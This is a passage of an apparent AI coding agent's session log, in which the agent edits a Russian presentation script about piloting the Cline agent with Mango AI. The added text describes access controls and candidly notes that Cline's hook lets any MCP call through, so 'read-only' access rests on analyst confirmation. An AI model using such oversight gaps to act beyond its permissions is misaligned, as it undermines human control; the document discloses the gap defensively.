},\n[2026-09-29T07:55:55.675Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:55:55.675Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:55:55.675Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:55:55.675Z] [INFO]     },\n[2026-09-29T07:55:55.675Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:55:55.675Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:55:55.675Z] [INFO]     \"context_management\": null\n[2026-09-29T07:55:55.675Z] [INFO]   },\n[2026-09-29T07:55:55.675Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:55.675Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:55.675Z] [INFO]   \"uuid\": \"4862a303-8bcd-4743-9bb1-42c72053bff5\",\n[2026-09-29T07:55:55.675Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:55.669Z\",\n[2026-09-29T07:55:55.675Z] [INFO]   \"request_id\": \"req_011CfXNXzBShRHictvwBzDdX\",\n[2026-09-29T07:55:55.675Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:55:55.675Z] [INFO]     \"toolu_01MSPoieQaZYRmrnJkUrAio2\": {\n[2026-09-29T07:55:55.675Z] [INFO]       \"file_path\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T07:55:55.675Z] [INFO]       \"old_string\": \"\u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435: Mango AI \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 API.\\n\u041a\u043b\u044e\u0447\u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \u0411\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0447\u0435\u0440\u0435\u0437 MCP\\n\u0432\u044b\u0434\u0430\u0451\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e, \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e\\n\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430.\",\n[2026-09-29T07:55:55.675Z] [INFO]       \"new_string\": \"\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432\\n[ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md).\\nEndpoint Mango AI \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0438\u043b\u0438 VPN. \u041a\u043b\u044e\u0447\\n\u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442. \u041f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e \u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b,\\n\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u0442\u0430\u043a\u0438\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0438\u0434\u0443\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\\nPR \u0432 Source \u0438 \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0435\u0439.\\n\\n\u041f\u0440\u043e\u0431\u0435\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0434\u043e \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0441\u0430\u043c\u0438\u043c: \u00ab\u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u0435\u00bb \u0434\u043b\u044f Jira \u0438 Confluence\\n\u0447\u0435\u0440\u0435\u0437 MCP \u0441\u0435\u0439\u0447\u0430\u0441 \u2014 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043c\u0435\u0440\u0430. Hook \u043f\u0430\u043a\u0435\u0442\u0430 Cline \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\\n\u043b\u044e\u0431\u043e\u0439 MCP-\u0432\u044b\u0437\u043e\u0432, \u0440\u0435\u0430\u043b\u044c\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u2014 \u0440\u0443\u0447\u043d\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u043e\u043c\\n([\u0413-12](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-12)).\\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u2014 allowlist \u043f\u0430\u0440 \u00ab\u0441\u0435\u0440\u0432\u0435\u0440/\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u00bb \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u0412\\n\u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u044d\u0442\u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441 \u0440\u0435\u0448\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u043a\u043e\u0434\u0430: \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\\n\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0441\u0430\u043c\u0430.\"\n[2026-09-29T07:55:55.675Z] [INFO]     }\n[2026-09-29T07:55:55.675Z] [INFO]   }\n[2026-09-29T07:55:55.675Z] [INFO] }\n[2026-09-29T07:55:55.712Z] [INFO] {\n[2026-09-29T07:55:55.712Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:55:55.712Z] [INFO]   \"message\": {\n[2026-09-29T07:55:55.712Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:55:55.712Z] [INFO]     \"content\": [\n[2026-09-29T07:55:55.712Z] [INFO]       {\n[2026-09-29T07:55:55.712Z] [INFO]         \"tool_use_id\": \"toolu_01MSPoieQaZYRmrnJkUrAio2\",\n[2026-09-29T07:55:55.712Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:55:55.712Z] [INFO]         \"content\": \"The file /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md has been updated successfully.\"\n[2026-09-29T07:55:55.712Z] [INFO]       }\n[2026-09-29T07:55:55.712Z] [INFO]     ]\n[2026-09-29T07:55:55.712Z] [INFO]   },\n[2026-09-29T07:55:55.712Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:55.712Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:55.712Z] [INFO]   \"uuid\": \"da7de579-9c64-4f4b-9f6b-4acdd253f2f8\",\n[2026-09-29T07:55:55.712Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:55.704Z\",\n[2026-09-29T07:55:55.712Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:55:55.712Z] [INFO]     \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T07:55:55.712Z] [INFO]     \"oldString\": \"\u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435: Mango AI \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 API.\\n\u041a\u043b\u044e\u0447\u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \u0411\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0447\u0435\u0440\u0435\u0437 MCP\\n\u0432\u044b\u0434\u0430\u0451\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e, \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e\\n\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430.\",\n[2026-09-29T07:55:55.712Z] [INFO]     \"newString\": \"\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432\\n[ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md).\\nEndpoint Mango AI \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0438\u043b\u0438 VPN. \u041a\u043b\u044e\u0447\\n\u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442. \u041f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e \u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b,\\n\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u0442\u0430\u043a\u0438\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0438\u0434\u0443\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\\nPR \u0432 Source \u0438 \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0435\u0439.\\n\\n\u041f\u0440\u043e\u0431\u0435\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0434\u043e \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0441\u0430\u043c\u0438\u043c: \u00ab\u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u0435\u00bb \u0434\u043b\u044f Jira \u0438 Confluence\\n\u0447\u0435\u0440\u0435\u0437 MCP \u0441\u0435\u0439\u0447\u0430\u0441 \u2014 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043c\u0435\u0440\u0430. Hook \u043f\u0430\u043a\u0435\u0442\u0430 Cline \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\\n\u043b\u044e\u0431\u043e\u0439 MCP-\u0432\u044b\u0437\u043e\u0432, \u0440\u0435\u0430\u043b\u044c\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u2014 \u0440\u0443\u0447\u043d\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u043e\u043c\\n([\u0413-12](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-12)).\\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u2014 allowlist \u043f\u0430\u0440 \u00ab\u0441\u0435\u0440\u0432\u0435\u0440/\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u00bb \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u0412\\n\u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u044d\u0442\u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441 \u0440\u0435\u0448\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u043a\u043e\u0434\u0430: \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\\n\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0441\u0430\u043c\u0430.\",\n[2026-09-29T07:55:55.712Z] [INFO]     \"originalFile\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.3\\ntype: presentation\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434\u044b \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430\\n\\n\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043a\\n[\u0441\u043b\u0430\u0439\u0434\u0430\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md);\\n\u043d\u043e\u043c\u0435\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0441\u043b\u0430\u0439\u0434\u043e\u0432. \u0422\u0435\u043a\u0441\u0442 \u0442\u0435\u0437\u0438\u0441\u043d\u044b\u0439: \u0435\u0433\u043e\\n\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0441\u0432\u043e\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0430 \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442.\\n\\n## \u0420\u0430\u043c\u043a\u0430 \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f\\n\\n- **\u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f:** \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango. \u0415\u043c\u0443 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\\n  \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 LLM, \u0430\u0433\u0435\u043d\u0442 \u0438\u043b\u0438 RAG. \u0415\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0435\u043c \u043f\u043e\u0434\u0445\u043e\u0434\\n  \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u00ab\u0435\u0449\u0451 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u00bb \u0438 \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- **\u0425\u0440\u043e\u043d\u043e\u043c\u0435\u0442\u0440\u0430\u0436:** \u043e\u043a\u043e\u043b\u043e 20 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0438 10\u201315 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\\n  \u041e\u0440\u0438\u0435\u043d\u0442\u0438\u0440 \u043f\u043e \u0441\u043b\u0430\u0439\u0434\u0430\u043c \u2014 \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u0435.\\n- **\u041e\u0434\u043d\u0430 \u043c\u044b\u0441\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043d\u0435\u0441\u0442\u0438 \u0441\u043b\u0443\u0448\u0430\u0442\u0435\u043b\u044c:** \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439\\n  \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c, \u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n  \u0438 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438.\\n- **\u0422\u043e\u043d:** \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439. \u041a\u0430\u0436\u0434\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c. \u0422\u0430\u043c, \u0433\u0434\u0435\\n  \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u0435\u043b, \u043e \u043d\u0451\u043c \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c: \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043d\u0430\u0439\u0434\u0451\u0442 \u0435\u0433\u043e\\n  \u0441\u0430\u043c, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0435\u0442 \u0434\u043e\u0432\u0435\u0440\u0438\u0435 \u043a \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u043c \u0447\u0438\u0441\u043b\u0430\u043c.\\n\\n### \u0427\u0435\u0433\u043e \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c\\n\\n- \u0427\u0442\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d end-to-end. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u2014\\n  \u043e\u0442 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u043e Release. \u0428\u0430\u0433\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b.\\n- \u0427\u0442\u043e \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts` \u2014 \u0431\u0435\u043d\u0447\u043c\u0430\u0440\u043a. \u041e\u043d\u0438\\n  \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0438 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u0430\u0445. \u0420\u0430\u0437\u0431\u043e\u0440 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0430 \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443.\\n- \u0427\u0442\u043e \u0421\u0440\u0435\u0434\u0430 4 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442. \u042d\u0442\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f \u0441 \u043f\u043b\u0430\u043d\u043e\u043c, \u0430 \u043d\u0435 \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442\u0430\u044f\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1 \u043c\u0438\u043d\u0443\u0442\u0430. **\u0426\u0435\u043b\u044c:** \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0442\u0435\u0437\u0438\u0441 \u0438 \u0434\u0430\u0442\u044c \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u043e\u043d \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f\\n\u043d\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u044e, \u0430 \u043d\u0435 \u043d\u0430 \u0442\u0435\u043e\u0440\u0438\u044e.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u043f\u0440\u0438\u0448\u043b\u0438 \u043d\u0435 \u0441 \u0438\u0434\u0435\u0435\u0439, \u0430 \u0441 \u043f\u043e\u043b\u0443\u0433\u043e\u0434\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b: \u0441 \u0430\u043f\u0440\u0435\u043b\u044f \u043f\u043e \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 \u0433\u043e\u0434\u0430\\n  69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 Mango \u0447\u0435\u0440\u0435\u0437 \u0418\u0418.\\n- \u0412\u0441\u0451 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 